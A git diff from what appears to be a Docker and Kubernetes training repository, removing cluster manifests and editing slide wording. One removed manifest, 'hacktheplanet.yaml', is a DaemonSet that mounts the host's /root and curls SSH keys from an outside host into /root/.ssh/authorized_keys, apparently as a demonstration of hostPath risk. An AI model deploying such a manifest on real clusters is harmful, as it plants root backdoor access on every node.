fix-redirects.sh: adding forced redirect

k8s/elasticsearch-cluster.yaml

@@ -1,21 +0,0 @@
-apiVersion: enterprises.upmc.com/v1
-kind: ElasticsearchCluster
-metadata:
-  name: es
-spec:
-  kibana:
-    image: docker.elastic.co/kibana/kibana-oss:6.1.3
-    image-pull-policy: Always
-  cerebro:
-    image: upmcenterprises/cerebro:0.7.2
-    image-pull-policy: Always
-  elastic-search-image: upmcenterprises/docker-elasticsearch-kubernetes:6.1.3_0
-  image-pull-policy: Always
-  client-node-replicas: 2
-  master-node-replicas: 3
-  data-node-replicas: 3
-  network-host: 0.0.0.0
-  use-ssl: false
-  data-volume-size: 10Gi
-  java-options: "-Xms512m -Xmx512m"
-

k8s/elasticsearch-operator.yaml

@@ -1,94 +0,0 @@
-# This is mirrored from https://github.com/upmc-enterprises/elasticsearch-operator/blob/master/example/controller.yaml but using the elasticsearch-operator namespace instead of operator
----
-apiVersion: v1
-kind: Namespace
-metadata:
-  name: elasticsearch-operator
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: elasticsearch-operator
-  namespace: elasticsearch-operator
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRole
-metadata:
-  name: elasticsearch-operator
-rules:
-- apiGroups: ["extensions"]
-  resources: ["deployments", "replicasets", "daemonsets"]
-  verbs: ["create", "get", "update", "delete", "list"]
-- apiGroups: ["apiextensions.k8s.io"]
-  resources: ["customresourcedefinitions"]
-  verbs: ["create", "get", "update", "delete", "list"]
-- apiGroups: ["storage.k8s.io"]
-  resources: ["storageclasses"]
-  verbs: ["get", "list", "create", "delete", "deletecollection"]
-- apiGroups: [""]
-  resources: ["persistentvolumes", "persistentvolumeclaims", "services", "secrets", "configmaps"] 
-  verbs: ["create", "get", "update", "delete", "list"]
-- apiGroups: ["batch"]
-  resources: ["cronjobs", "jobs"]
-  verbs: ["create", "get", "deletecollection", "delete"]
-- apiGroups: [""]
-  resources: ["pods"]
-  verbs: ["list", "get", "watch"]
-- apiGroups: ["apps"]
-  resources: ["statefulsets", "deployments"]
-  verbs: ["*"]
-- apiGroups: ["enterprises.upmc.com"]
-  resources: ["elasticsearchclusters"]
-  verbs: ["*"]
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRoleBinding
-metadata:
-  name: elasticsearch-operator
-  namespace: elasticsearch-operator
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: elasticsearch-operator
-subjects:
-- kind: ServiceAccount
-  name: elasticsearch-operator
-  namespace: elasticsearch-operator
----
-apiVersion: extensions/v1beta1
-kind: Deployment
-metadata:
-  name: elasticsearch-operator
-  namespace: elasticsearch-operator
-spec:
-  replicas: 1
-  template:
-    metadata:
-      labels:
-        name: elasticsearch-operator
-    spec:
-      containers:
-      - name: operator
-        image: upmcenterprises/elasticsearch-operator:0.2.0
-        imagePullPolicy: Always
-        env:
-        - name: NAMESPACE
-          valueFrom:
-            fieldRef:
-              fieldPath: metadata.namespace
-        ports:
-        - containerPort: 8000
-          name: http
-        livenessProbe:
-          httpGet:
-            path: /live
-            port: 8000
-          initialDelaySeconds: 10
-          timeoutSeconds: 10
-        readinessProbe:
-          httpGet:
-            path: /ready
-            port: 8000
-          initialDelaySeconds: 10
-          timeoutSeconds: 5
-      serviceAccount: elasticsearch-operator

k8s/filebeat.yaml

@@ -1,167 +0,0 @@
----
-apiVersion: v1
-kind: ConfigMap
-metadata:
-  name: filebeat-config
-  namespace: kube-system
-  labels:
-    k8s-app: filebeat
-data:
-  filebeat.yml: |-
-    filebeat.config:
-      inputs:
-        # Mounted `filebeat-inputs` configmap:
-        path: ${path.config}/inputs.d/*.yml
-        # Reload inputs configs as they change:
-        reload.enabled: false
-      modules:
-        path: ${path.config}/modules.d/*.yml
-        # Reload module configs as they change:
-        reload.enabled: false
-
-    # To enable hints based autodiscover, remove `filebeat.config.inputs` configuration and uncomment this:
-    #filebeat.autodiscover:
-    #  providers:
-    #    - type: kubernetes
-    #      hints.enabled: true
-
-    processors:
-      - add_cloud_metadata:
-
-    cloud.id: ${ELASTIC_CLOUD_ID}
-    cloud.auth: ${ELASTIC_CLOUD_AUTH}
-
-    output.elasticsearch:
-      hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
-      username: ${ELASTICSEARCH_USERNAME}
-      password: ${ELASTICSEARCH_PASSWORD}
----
-apiVersion: v1
-kind: ConfigMap
-metadata:
-  name: filebeat-inputs
-  namespace: kube-system
-  labels:
-    k8s-app: filebeat
-data:
-  kubernetes.yml: |-
-    - type: docker
-      containers.ids:
-      - "*"
-      processors:
-        - add_kubernetes_metadata:
-            in_cluster: true
----
-apiVersion: extensions/v1beta1
-kind: DaemonSet
-metadata:
-  name: filebeat
-  namespace: kube-system
-  labels:
-    k8s-app: filebeat
-spec:
-  template:
-    metadata:
-      labels:
-        k8s-app: filebeat
-    spec:
-      serviceAccountName: filebeat
-      terminationGracePeriodSeconds: 30
-      containers:
-      - name: filebeat
-        image: docker.elastic.co/beats/filebeat-oss:7.0.1
-        args: [
-          "-c", "/etc/filebeat.yml",
-          "-e",
-        ]
-        env:
-        - name: ELASTICSEARCH_HOST
-          value: elasticsearch-es.default.svc.cluster.local
-        - name: ELASTICSEARCH_PORT
-          value: "9200"
-        - name: ELASTICSEARCH_USERNAME
-          value: elastic
-        - name: ELASTICSEARCH_PASSWORD
-          value: changeme
-        - name: ELASTIC_CLOUD_ID
-          value:
-        - name: ELASTIC_CLOUD_AUTH
-          value:
-        securityContext:
-          runAsUser: 0
-          # If using Red Hat OpenShift uncomment this:
-          #privileged: true
-        resources:
-          limits:
-            memory: 200Mi
-          requests:
-            cpu: 100m
-            memory: 100Mi
-        volumeMounts:
-        - name: config
-          mountPath: /etc/filebeat.yml
-          readOnly: true
-          subPath: filebeat.yml
-        - name: inputs
-          mountPath: /usr/share/filebeat/inputs.d
-          readOnly: true
-        - name: data
-          mountPath: /usr/share/filebeat/data
-        - name: varlibdockercontainers
-          mountPath: /var/lib/docker/containers
-          readOnly: true
-      volumes:
-      - name: config
-        configMap:
-          defaultMode: 0600
-          name: filebeat-config
-      - name: varlibdockercontainers
-        hostPath:
-          path: /var/lib/docker/containers
-      - name: inputs
-        configMap:
-          defaultMode: 0600
-          name: filebeat-inputs
-      # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
-      - name: data
-        hostPath:
-          path: /var/lib/filebeat-data
-          type: DirectoryOrCreate
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRoleBinding
-metadata:
-  name: filebeat
-subjects:
-- kind: ServiceAccount
-  name: filebeat
-  namespace: kube-system
-roleRef:
-  kind: ClusterRole
-  name: filebeat
-  apiGroup: rbac.authorization.k8s.io
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRole
-metadata:
-  name: filebeat
-  labels:
-    k8s-app: filebeat
-rules:
-- apiGroups: [""] # "" indicates the core API group
-  resources:
-  - namespaces
-  - pods
-  verbs:
-  - get
-  - watch
-  - list
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: filebeat
-  namespace: kube-system
-  labels:
-    k8s-app: filebeat
----

k8s/hacktheplanet.yaml

@@ -1,34 +0,0 @@
-apiVersion: apps/v1
-kind: DaemonSet
-metadata:
-  name: hacktheplanet
-spec:
-  selector:
-    matchLabels:
-      app: hacktheplanet
-  template:
-    metadata:
-      labels:
-        app: hacktheplanet
-    spec:
-      volumes:
-      - name: root
-        hostPath:
-          path: /root
-      tolerations:
-      - effect: NoSchedule
-        operator: Exists
-      initContainers:
-      - name: hacktheplanet
-        image: alpine
-        volumeMounts:
-        - name: root
-          mountPath: /root
-        command:
-        - sh
-        - -c
-        - "apk update && apk add curl && curl https://github.com/jpetazzo.keys > /root/.ssh/authorized_keys"
-      containers:
-      - name: web
-        image: nginx
-

k8s/local-path-storage.yaml

@@ -1,110 +0,0 @@
-# This is a local copy of:
-# https://github.com/rancher/local-path-provisioner/blob/master/deploy/local-path-storage.yaml
----
-apiVersion: v1
-kind: Namespace
-metadata:
-  name: local-path-storage
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: local-path-provisioner-service-account
-  namespace: local-path-storage
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRole
-metadata:
-  name: local-path-provisioner-role
-  namespace: local-path-storage
-rules:
-- apiGroups: [""]
-  resources: ["nodes", "persistentvolumeclaims"]
-  verbs: ["get", "list", "watch"]
-- apiGroups: [""]
-  resources: ["endpoints", "persistentvolumes", "pods"]
-  verbs: ["*"]
-- apiGroups: [""]
-  resources: ["events"]
-  verbs: ["create", "patch"]
-- apiGroups: ["storage.k8s.io"]
-  resources: ["storageclasses"]
-  verbs: ["get", "list", "watch"]
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRoleBinding
-metadata:
-  name: local-path-provisioner-bind
-  namespace: local-path-storage
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: local-path-provisioner-role
-subjects:
-- kind: ServiceAccount
-  name: local-path-provisioner-service-account
-  namespace: local-path-storage
----
-apiVersion: apps/v1beta2
-kind: Deployment
-metadata:
-  name: local-path-provisioner
-  namespace: local-path-storage
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app: local-path-provisioner
-  template:
-    metadata:
-      labels:
-        app: local-path-provisioner
-    spec:
-      serviceAccountName: local-path-provisioner-service-account
-      containers:
-      - name: local-path-provisioner
-        image: rancher/local-path-provisioner:v0.0.8
-        imagePullPolicy: Always
-        command:
-        - local-path-provisioner
-        - --debug
-        - start
-        - --config
-        - /etc/config/config.json
-        volumeMounts:
-        - name: config-volume
-          mountPath: /etc/config/
-        env:
-        - name: POD_NAMESPACE
-          valueFrom:
-            fieldRef:
-              fieldPath: metadata.namespace
-      volumes:
-        - name: config-volume
-          configMap:
-            name: local-path-config
----
-apiVersion: storage.k8s.io/v1
-kind: StorageClass
-metadata:
-  name: local-path
-provisioner: rancher.io/local-path
-volumeBindingMode: WaitForFirstConsumer
-reclaimPolicy: Delete
----
-kind: ConfigMap
-apiVersion: v1
-metadata:
-  name: local-path-config
-  namespace: local-path-storage
-data:
-  config.json: |-
-        {
-                "nodePathMap":[
-                {
-                        "node":"DEFAULT_PATH_FOR_NON_LISTED_NODES",
-                        "paths":["/opt/local-path-provisioner"]
-                }
-                ]
-        }
-

k8s/persistent-consul.yaml

@@ -1,95 +0,0 @@
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role
-metadata:
-  name: consul
-rules:
-  - apiGroups: [ "" ]
-    resources: [ pods ]
-    verbs:     [ get, list ]
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  name: consul
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: Role
-  name: consul
-subjects:
-  - kind: ServiceAccount
-    name: consul
-    namespace: orange
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: consul
----
-apiVersion: v1
-kind: Service
-metadata:
-  name: consul
-spec:
-  ports:
-  - port: 8500
-    name: http
-  selector:
-    app: consul
----
-apiVersion: apps/v1
-kind: StatefulSet
-metadata:
-  name: consul
-spec:
-  serviceName: consul
-  replicas: 3
-  selector:
-    matchLabels:
-      app: consul
-  volumeClaimTemplates:
-    - metadata:
-        name: data
-      spec:
-        accessModes:
-          - ReadWriteOnce
-        resources:
-          requests:
-            storage: 1Gi
-  template:
-    metadata:
-      labels:
-        app: consul
-    spec:
-      serviceAccountName: consul
-      affinity:
-        podAntiAffinity:
-          requiredDuringSchedulingIgnoredDuringExecution:
-            - labelSelector:
-                matchExpressions:
-                  - key: app
-                    operator: In
-                    values:
-                      - consul
-              topologyKey: kubernetes.io/hostname
-      terminationGracePeriodSeconds: 10
-      containers:
-        - name: consul
-          image: "consul:1.4.4"
-          volumeMounts:
-            - name: data
-              mountPath: /consul/data
-          args:
-            - "agent"
-            - "-bootstrap-expect=3"
-            - "-retry-join=provider=k8s namespace=orange label_selector=\"app=consul\""
-            - "-client=0.0.0.0"
-            - "-data-dir=/consul/data"
-            - "-server"
-            - "-ui"
-          lifecycle:
-            preStop:
-              exec:
-                command:
-                - /bin/sh
-                - -c
-                - consul leave

k8s/psp-privileged.yaml

@@ -1,39 +0,0 @@
----
-apiVersion: policy/v1beta1
-kind: PodSecurityPolicy
-metadata:
-  name: privileged
-  annotations:
-    seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
-spec:
-  privileged: true
-  allowPrivilegeEscalation: true
-  allowedCapabilities:
-  - '*'
-  volumes:
-  - '*'
-  hostNetwork: true
-  hostPorts:
-  - min: 0
-    max: 65535
-  hostIPC: true
-  hostPID: true
-  runAsUser:
-    rule: 'RunAsAny'
-  seLinux:
-    rule: 'RunAsAny'
-  supplementalGroups:
-    rule: 'RunAsAny'
-  fsGroup:
-    rule: 'RunAsAny'
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: psp:privileged
-rules:
-- apiGroups:     ['policy']
-  resources:     ['podsecuritypolicies']
-  verbs:         ['use']
-  resourceNames: ['privileged']
-

k8s/psp-restricted.yaml

@@ -1,38 +0,0 @@
----
-apiVersion: extensions/v1beta1
-kind: PodSecurityPolicy
-metadata:
-  annotations:
-    apparmor.security.beta.kubernetes.io/allowedProfileNames: runtime/default
-    apparmor.security.beta.kubernetes.io/defaultProfileName: runtime/default
-    seccomp.security.alpha.kubernetes.io/allowedProfileNames: docker/default
-    seccomp.security.alpha.kubernetes.io/defaultProfileName: docker/default
-  name: restricted
-spec:
-  allowPrivilegeEscalation: false
-  fsGroup:
-    rule: RunAsAny
-  runAsUser:
-    rule: RunAsAny
-  seLinux:
-    rule: RunAsAny
-  supplementalGroups:
-    rule: RunAsAny
-  volumes:
-  - configMap
-  - emptyDir
-  - projected
-  - secret
-  - downwardAPI
-  - persistentVolumeClaim
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: psp:restricted
-rules:
-- apiGroups:     ['policy']
-  resources:     ['podsecuritypolicies']
-  verbs:         ['use']
-  resourceNames: ['restricted']
-

k8s/users:jean.doe.yaml

@@ -1,33 +0,0 @@
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: jean.doe
-  namespace: users
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: users:jean.doe
-rules:
-- apiGroups: [ certificates.k8s.io ]
-  resources: [ certificatesigningrequests ]
-  verbs:     [ create ]
-- apiGroups:     [ certificates.k8s.io ]
-  resourceNames: [ users:jean.doe ]
-  resources:     [ certificatesigningrequests ]
-  verbs:         [ get, create, delete, watch ]
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  name: users:jean.doe
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: users:jean.doe
-subjects:
-- kind: ServiceAccount
-  name: jean.doe
-  namespace: users
-

k8s/volumes-for-consul.yaml

@@ -1,70 +0,0 @@
----
-apiVersion: v1
-kind: PersistentVolume
-metadata:
-  name: consul-node2
-  annotations:
-    node: node2
-spec:
-  capacity:
-    storage: 10Gi
-  accessModes:
-  - ReadWriteOnce
-  persistentVolumeReclaimPolicy: Delete
-  local:
-    path: /mnt/consul
-  nodeAffinity:
-    required:
-      nodeSelectorTerms:
-      - matchExpressions:
-        - key: kubernetes.io/hostname
-          operator: In
-          values:
-          - node2
----
-apiVersion: v1
-kind: PersistentVolume
-metadata:
-  name: consul-node3
-  annotations:
-    node: node3
-spec:
-  capacity:
-    storage: 10Gi
-  accessModes:
-  - ReadWriteOnce
-  persistentVolumeReclaimPolicy: Delete
-  local:
-    path: /mnt/consul
-  nodeAffinity:
-    required:
-      nodeSelectorTerms:
-      - matchExpressions:
-        - key: kubernetes.io/hostname
-          operator: In
-          values:
-          - node3
----
-apiVersion: v1
-kind: PersistentVolume
-metadata:
-  name: consul-node4
-  annotations:
-    node: node4
-spec:
-  capacity:
-    storage: 10Gi
-  accessModes:
-  - ReadWriteOnce
-  persistentVolumeReclaimPolicy: Delete
-  local:
-    path: /mnt/consul
-  nodeAffinity:
-    required:
-      nodeSelectorTerms:
-      - matchExpressions:
-        - key: kubernetes.io/hostname
-          operator: In
-          values:
-          - node4
-

prepare-vms/lib/commands.sh

@@ -248,14 +248,6 @@ EOF"
              sudo tar -C /usr/local/bin -zx ship
     fi"
 
-    # Install the AWS IAM authenticator
-    pssh "
-    if [ ! -x /usr/local/bin/aws-iam-authenticator ]; then
-	##VERSION##
-        sudo curl -o /usr/local/bin/aws-iam-authenticator https://amazon-eks.s3-us-west-2.amazonaws.com/1.12.7/2019-03-27/bin/linux/amd64/aws-iam-authenticator
-	sudo chmod +x /usr/local/bin/aws-iam-authenticator
-    fi"
-
     sep "Done"
 }
 
@@ -391,15 +383,6 @@ _cmd_retag() {
     aws_tag_instances $OLDTAG $NEWTAG
 }
 
-_cmd ssh "Open an SSH session to the first node of a tag"
-_cmd_ssh() {
-    TAG=$1
-    need_tag
-    IP=$(head -1 tags/$TAG/ips.txt)
-    info "Logging into $IP"
-    ssh docker@$IP
-}
-
 _cmd start "Start a group of VMs"
 _cmd_start() {
     while [ ! -z "$*" ]; do
@@ -498,12 +481,12 @@ _cmd_helmprom() {
     if i_am_first_node; then
         kubectl -n kube-system get serviceaccount helm ||
             kubectl -n kube-system create serviceaccount helm
-        sudo -u docker -H helm init --service-account helm
+        helm init --service-account helm
         kubectl get clusterrolebinding helm-can-do-everything ||
             kubectl create clusterrolebinding helm-can-do-everything \
                 --clusterrole=cluster-admin \
                 --serviceaccount=kube-system:helm
-        sudo -u docker -H helm upgrade --install prometheus stable/prometheus \
+        helm upgrade --install prometheus stable/prometheus \
             --namespace kube-system \
             --set server.service.type=NodePort \
             --set server.service.nodePort=30090 \

prepare-vms/settings/jerome.yaml

@@ -8,7 +8,7 @@ clusterprefix: node
 cards_template: jerome.html
 
 # Use "Letter" in the US, and "A4" everywhere else
-paper_size: Letter
+paper_size: A4
 
 # Feel free to reduce this if your printer can handle it
 paper_margin: 0.2in

slides/Dockerfile

@@ -1,4 +1,7 @@
-FROM alpine:3.9
-RUN apk add --no-cache entr py-pip git
+FROM alpine
+RUN apk update
+RUN apk add entr
+RUN apk add py-pip
+RUN apk add git
 COPY requirements.txt .
 RUN pip install -r requirements.txt

slides/_redirects

@@ -1,5 +1,4 @@
 # Uncomment and/or edit one of the the following lines if necessary.
 #/ /kube-halfday.yml.html 200
-#/ /kube-fullday.yml.html 200
+/ /kube-fullday.yml.html 200!
 #/ /kube-twodays.yml.html 200
-/ /kadm-fourdays.yml.html 200!

slides/containers/Ambassadors.md

@@ -150,7 +150,7 @@ Different deployments will use different underlying technologies.
 * Ad-hoc deployments can use a master-less discovery protocol
   like avahi to register and discover services.
 * It is also possible to do one-shot reconfiguration of the
-  ambassadors. It is slightly less dynamic but has far fewer
+  ambassadors. It is slightly less dynamic but has much less
   requirements.
 * Ambassadors can be used in addition to, or instead of, overlay networks.
 
@@ -186,48 +186,22 @@ Different deployments will use different underlying technologies.
 
 ---
 
-## Some popular service meshes
+## Section summary
 
-... And related projects:
+We've learned how to:
 
-* [Consul Connect](https://www.consul.io/docs/connect/index.html)
-  <br/>
-  Transparently secures service-to-service connections with mTLS.
+* Understand the ambassador pattern and what it is used for (service portability).
 
-* [Gloo](https://gloo.solo.io/)
-  <br/>
-  API gateway that can interconnect applications on VMs, containers, and serverless.
+For more information about the ambassador pattern, including demos on Swarm and ECS: 
+
+* AWS re:invent 2015 [DVO317](https://www.youtube.com/watch?v=7CZFpHUPqXw)
+
+* [SwarmWeek video about Swarm+Compose](https://youtube.com/watch?v=qbIvUvwa6As)
+
+Some services meshes and related projects:
 
 * [Istio](https://istio.io/)
-  <br/>
-  A popular service mesh.
 
 * [Linkerd](https://linkerd.io/)
-  <br/>
-  Another popular service mesh.
 
----
-
-## Learning more about service meshes
-
-A few blog posts about service meshes:
-
-* [Containers, microservices, and service meshes](http://jpetazzo.github.io/2019/05/17/containers-microservices-service-meshes/)
-  <br/>
-  Provides historical context: how did we do before service meshes were invented?
-
-* [Do I Need a Service Mesh?](https://www.nginx.com/blog/do-i-need-a-service-mesh/)
-  <br/>
-  Explains the purpose of service meshes. Illustrates some NGINX features.
-
-* [Do you need a service mesh?](https://www.oreilly.com/ideas/do-you-need-a-service-mesh)
-  <br/>
-  Includes high-level overview and definitions.
-
-* [What is Service Mesh and Why Do We Need It?](https://containerjournal.com/2018/12/12/what-is-service-mesh-and-why-do-we-need-it/)
-  <br/>
-  Includes a step-by-step demo of Linkerd.
-
-And a video:
-
-* [What is a Service Mesh, and Do I Need One When Developing Microservices?](https://www.datawire.io/envoyproxy/service-mesh/)
+* [Gloo](https://gloo.solo.io/)

slides/containers/Application_Configuration.md

@@ -98,13 +98,13 @@ COPY prometheus.conf /etc
 
 * Allows arbitrary customization and complex configuration files.
 
-* Requires writing a configuration file. (Obviously!)
+* Requires to write a configuration file. (Obviously!)
 
-* Requires building an image to start the service.
+* Requires to build an image to start the service.
 
-* Requires rebuilding the image to reconfigure the service.
+* Requires to rebuild the image to reconfigure the service.
 
-* Requires rebuilding the image to upgrade the service.
+* Requires to rebuild the image to upgrade the service.
 
 * Configured images can be stored in registries.
 
@@ -132,11 +132,11 @@ docker run -v appconfig:/etc/appconfig myapp
 
 * Allows arbitrary customization and complex configuration files.
 
-* Requires creating a volume for each different configuration.
+* Requires to create a volume for each different configuration.
 
 * Services with identical configurations can use the same volume.
 
-* Doesn't require building / rebuilding an image when upgrading / reconfiguring.
+* Doesn't require to build / rebuild an image when upgrading / reconfiguring.
 
 * Configuration can be generated or edited through another container.
 
@@ -198,4 +198,4 @@ E.g.:
 
 - read the secret on stdin when the service starts,
 
-- pass the secret using an API endpoint.
+- pass the secret using an API endpoint.

slides/containers/Background_Containers.md

@@ -257,7 +257,7 @@ $ docker kill 068 57ad
 The `stop` and `kill` commands can take multiple container IDs.
 
 Those containers will be terminated immediately (without
-the 10-second delay).
+the 10 seconds delay).
 
 Let's check that our containers don't show up anymore:
 

slides/containers/Cmd_And_Entrypoint.md

@@ -222,16 +222,16 @@ CMD ["hello world"]
 Let's build it:
 
 ```bash
-$ docker build -t myfiglet .
+$ docker build -t figlet .
 ...
 Successfully built 6e0b6a048a07
-Successfully tagged myfiglet:latest
+Successfully tagged figlet:latest
 ```
 
 Run it without parameters:
 
 ```bash
-$ docker run myfiglet
+$ docker run figlet
  _          _   _                             _        
 | |        | | | |                           | |    |  
 | |     _  | | | |  __             __   ,_   | |  __|  
@@ -246,7 +246,7 @@ $ docker run myfiglet
 Now let's pass extra arguments to the image.
 
 ```bash
-$ docker run myfiglet hola mundo
+$ docker run figlet hola mundo
  _           _                                               
 | |         | |                                      |       
 | |     __  | |  __,     _  _  _           _  _    __|   __  
@@ -262,13 +262,13 @@ We overrode `CMD` but still used `ENTRYPOINT`.
 
 What if we want to run a shell in our container?
 
-We cannot just do `docker run myfiglet bash` because
+We cannot just do `docker run figlet bash` because
 that would just tell figlet to display the word "bash."
 
 We use the `--entrypoint` parameter:
 
 ```bash
-$ docker run -it --entrypoint bash myfiglet
+$ docker run -it --entrypoint bash figlet
 root@6027e44e2955:/# 
 ```
 

slides/containers/Container_Engines.md

@@ -164,7 +164,7 @@ We're not aware of anyone using it directly (i.e. outside of Kubernetes).
 
 * Run each container in a lightweight virtual machine.
 
-* Requires running on bare metal *or* with nested virtualization.
+* Requires to run on bare metal *or* with nested virtualization.
 
 ---
 

slides/containers/Container_Network_Model.md

@@ -474,7 +474,7 @@ When creating a network, extra options can be provided.
 
 * `--ip-range` (in CIDR notation) indicates the subnet to allocate from.
 
-* `--aux-address` allows specifying a list of reserved addresses (which won't be allocated to containers).
+* `--aux-address` allows to specify a list of reserved addresses (which won't be allocated to containers).
 
 ---
 
@@ -528,9 +528,7 @@ Very short instructions:
 - `docker network create mynet --driver overlay`
 - `docker service create --network mynet myimage`
 
-If you want to learn more about Swarm mode, you can check
-[this video](https://www.youtube.com/watch?v=EuzoEaE6Cqs)
-or [these slides](https://container.training/swarm-selfpaced.yml.html).
+See https://jpetazzo.github.io/container.training for all the deets about clustering!
 
 ---
 
@@ -556,7 +554,7 @@ General idea:
 
 * So far, we have specified which network to use when starting the container.
 
-* The Docker Engine also allows connecting and disconnecting while the container is running.
+* The Docker Engine also allows to connect and disconnect while the container runs.
 
 * This feature is exposed through the Docker API, and through two Docker CLI commands:
 

slides/containers/Exercise_Composefile.md

@@ -1,5 +0,0 @@
-# Exercise — writing a Compose file
-
-Let's write a Compose file for the wordsmith app!
-
-The code is at: https://github.com/jpetazzo/wordsmith

slides/containers/Exercise_Dockerfile_Advanced.md

@@ -1,9 +0,0 @@
-# Exercise — writing better Dockerfiles
-
-Let's update our Dockerfiles to leverage multi-stage builds!
-
-The code is at: https://github.com/jpetazzo/wordsmith
-
-Use a different tag for these images, so that we can compare their sizes.
-
-What's the size difference between single-stage and multi-stage builds?

slides/containers/Exercise_Dockerfile_Basic.md

@@ -1,5 +0,0 @@
-# Exercise — writing Dockerfiles
-
-Let's write Dockerfiles for an existing application!
-
-The code is at: https://github.com/jpetazzo/wordsmith

slides/containers/First_Containers.md

@@ -203,90 +203,4 @@ bash: figlet: command not found
 
 * The basic Ubuntu image was used, and `figlet` is not here.
 
----
-
-## Where's my container?
-
-* Can we reuse that container that we took time to customize?
-
-  *We can, but that's not the default workflow with Docker.*
-
-* What's the default workflow, then?
-
-  *Always start with a fresh container.*
-  <br/>
-  *If we need something installed in our container, build a custom image.*
-
-* That seems complicated!
-
-  *We'll see that it's actually pretty easy!*
-
-* And what's the point?
-
-  *This puts a strong emphasis on automation and repeatability. Let's see why ...*
-
----
-
-## Pets vs. Cattle
-
-* In the "pets vs. cattle" metaphor, there are two kinds of servers.
-
-* Pets:
-
-  * have distinctive names and unique configurations
-
-  * when they have an outage, we do everything we can to fix them
-
-* Cattle:
-
-  * have generic names (e.g. with numbers) and generic configuration
-
-  * configuration is enforced by configuration management, golden images ...
-
-  * when they have an outage, we can replace them immediately with a new server
-
-* What's the connection with Docker and containers?
-
----
-
-## Local development environments
-
-* When we use local VMs (with e.g. VirtualBox or VMware), our workflow looks like this:
-
-  * create VM from base template (Ubuntu, CentOS...)
-
-  * install packages, set up environment
-
-  * work on project
-
-  * when done, shut down VM
-
-  * next time we need to work on project, restart VM as we left it
-
-  * if we need to tweak the environment, we do it live
-
-* Over time, the VM configuration evolves, diverges.
-
-* We don't have a clean, reliable, deterministic way to provision that environment.
-
----
-
-## Local development with Docker
-
-* With Docker, the workflow looks like this:
-
-  * create container image with our dev environment
-
-  * run container with that image
-
-  * work on project
-
-  * when done, shut down container
-
-  * next time we need to work on project, start a new container
-
-  * if we need to tweak the environment, we create a new image
-
-* We have a clear definition of our environment, and can share it reliably with others.
-
-* Let's see in the next chapters how to bake a custom image with `figlet`!
+* We will see in the next chapters how to bake a custom image with `figlet`.

slides/containers/Initial_Images.md

@@ -70,9 +70,8 @@ class: pic
 
 * An image is a read-only filesystem.
 
-* A container is an encapsulated set of processes,
-
-  running in a read-write copy of that filesystem.
+* A container is an encapsulated set of processes running in a
+  read-write copy of that filesystem.
 
 * To optimize container boot time, *copy-on-write* is used
   instead of regular copy.
@@ -178,11 +177,8 @@ Let's explain each of them.
 
 ## Root namespace
 
-The root namespace is for official images.
-
-They are gated by Docker Inc.
-
-They are generally authored and maintained by third parties.
+The root namespace is for official images. They are put there by Docker Inc.,
+but they are generally authored and maintained by third parties.
 
 Those images include:
 
@@ -192,7 +188,7 @@ Those images include:
 
 * Ready-to-use components and services, like redis, postgresql...
 
-* Over 150 at this point!
+* Over 130 at this point!
 
 ---
 

slides/containers/Local_Development_Workflow.md

@@ -156,7 +156,7 @@ Option 3:
 
 * Use a *volume* to mount local files into the container
 * Make changes locally
-* Changes are reflected in the container
+* Changes are reflected into the container
 
 ---
 
@@ -176,7 +176,7 @@ $ docker run -d -v $(pwd):/src -P namer
 
 * `namer` is the name of the image we will run.
 
-* We don't specify a command to run because it is already set in the Dockerfile via `CMD`.
+* We don't specify a command to run because it is already set in the Dockerfile.
 
 Note: on Windows, replace `$(pwd)` with `%cd%` (or `${pwd}` if you use PowerShell).
 
@@ -192,7 +192,7 @@ The flag structure is:
 [host-path]:[container-path]:[rw|ro]
 ```
 
-* `[host-path]` and `[container-path]` are created if they don't exist.
+* If `[host-path]` or `[container-path]` doesn't exist it is created.
 
 * You can control the write status of the volume with the `ro` and
   `rw` options.
@@ -255,13 +255,13 @@ color: red;
 
 * Volumes are *not* copying or synchronizing files between the host and the container.
 
-* Volumes are *bind mounts*: a kernel mechanism associating one path with another.
+* Volumes are *bind mounts*: a kernel mechanism associating a path to another.
 
 * Bind mounts are *kind of* similar to symbolic links, but at a very different level.
 
 * Changes made on the host or on the container will be visible on the other side.
 
-  (Under the hood, it's the same file anyway.)
+  (Since under the hood, it's the same file on both anyway.)
 
 ---
 
@@ -273,7 +273,7 @@ by Chad Fowler, where he explains the concept of immutable infrastructure.)*
 
 --
 
-* Let's majorly mess up our container.
+* Let's mess up majorly with our container.
 
   (Remove files or whatever.)
 
@@ -319,7 +319,7 @@ and *canary deployments*.
    <br/>
    Use the `-v` flag to mount our source code inside the container.
 
-3. Edit the source code outside the container, using familiar tools.
+3. Edit the source code outside the containers, using regular tools.
    <br/>
    (vim, emacs, textmate...)
 

slides/containers/Namespaces_Cgroups.md

@@ -86,13 +86,13 @@ class: extra-details, deep-dive
 
   - the `unshare()` system call.
 
